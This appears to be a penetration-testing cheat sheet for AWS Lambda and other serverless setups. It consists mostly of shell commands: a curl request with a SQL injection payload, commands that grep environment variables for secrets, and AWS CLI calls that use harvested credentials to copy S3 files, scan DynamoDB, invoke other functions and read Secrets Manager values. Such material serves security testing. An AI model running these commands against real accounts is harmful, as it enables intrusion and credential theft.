Serverless Security Testing

# Serverless functions are triggered by events. Inject into event sources:

# API Gateway → Lambda (HTTP event injection):
curl -X POST https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin\' OR 1=1 --"}'

# S3 event injection:
# If a Lambda processes uploaded files, upload malicious files:
# - ZIP bomb (denial of service)
# - XML file triggering XXE in the parser
# - Image with embedded code (ImageMagick exploitation)

# SQS/SNS event injection:
# If the function processes messages from a queue:
# Inject malicious payloads into the queue message body

# DynamoDB Stream injection:
# If a function triggers on database changes:
# Insert data that causes injection when the function processes it

# Cognito trigger injection:
# Pre-signup, post-auth triggers may process user-controlled data
# Register with malicious values in custom attributes

# Lambda environment variables often contain secrets:
# If you achieve code execution in a Lambda:
env | grep -iE 'key|secret|token|password|database|connection'

# AWS Lambda has these environment variables by default:
# AWS_ACCESS_KEY_ID
# AWS_SECRET_ACCESS_KEY
# AWS_SESSION_TOKEN
# AWS_LAMBDA_FUNCTION_NAME
# AWS_REGION

# These temporary credentials can be used for AWS API calls:
aws sts get-caller-identity
aws s3 ls
aws iam list-roles

# Check /tmp for data from previous invocations (shared container):
ls -la /tmp/
cat /tmp/*

# Read the function code:
ls -la /var/task/
cat /var/task/index.js
cat /var/task/handler.py

# Check IAM permissions (what can this function access?):
aws iam simulate-principal-policy \
  --policy-source-arn $AWS_LAMBDA_FUNCTION_ARN \
  --action-names 's3:GetObject' 's3:PutObject' 'dynamodb:Scan'

# Common issue: Lambda functions with wildcard IAM permissions
# If the function has s3:* or dynamodb:*, exploit it:

# Read any S3 bucket:
aws s3 ls s3://company-secrets-bucket/
aws s3 cp s3://company-secrets-bucket/credentials.json ./

# Scan DynamoDB tables:
aws dynamodb list-tables
aws dynamodb scan --table-name Users

# Invoke other Lambda functions:
aws lambda list-functions
aws lambda invoke --function-name admin-function output.json
cat output.json

# Modify other functions (if lambda:UpdateFunctionCode is allowed):
# This is a critical escalation — you can inject code into other functions

# Access Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentials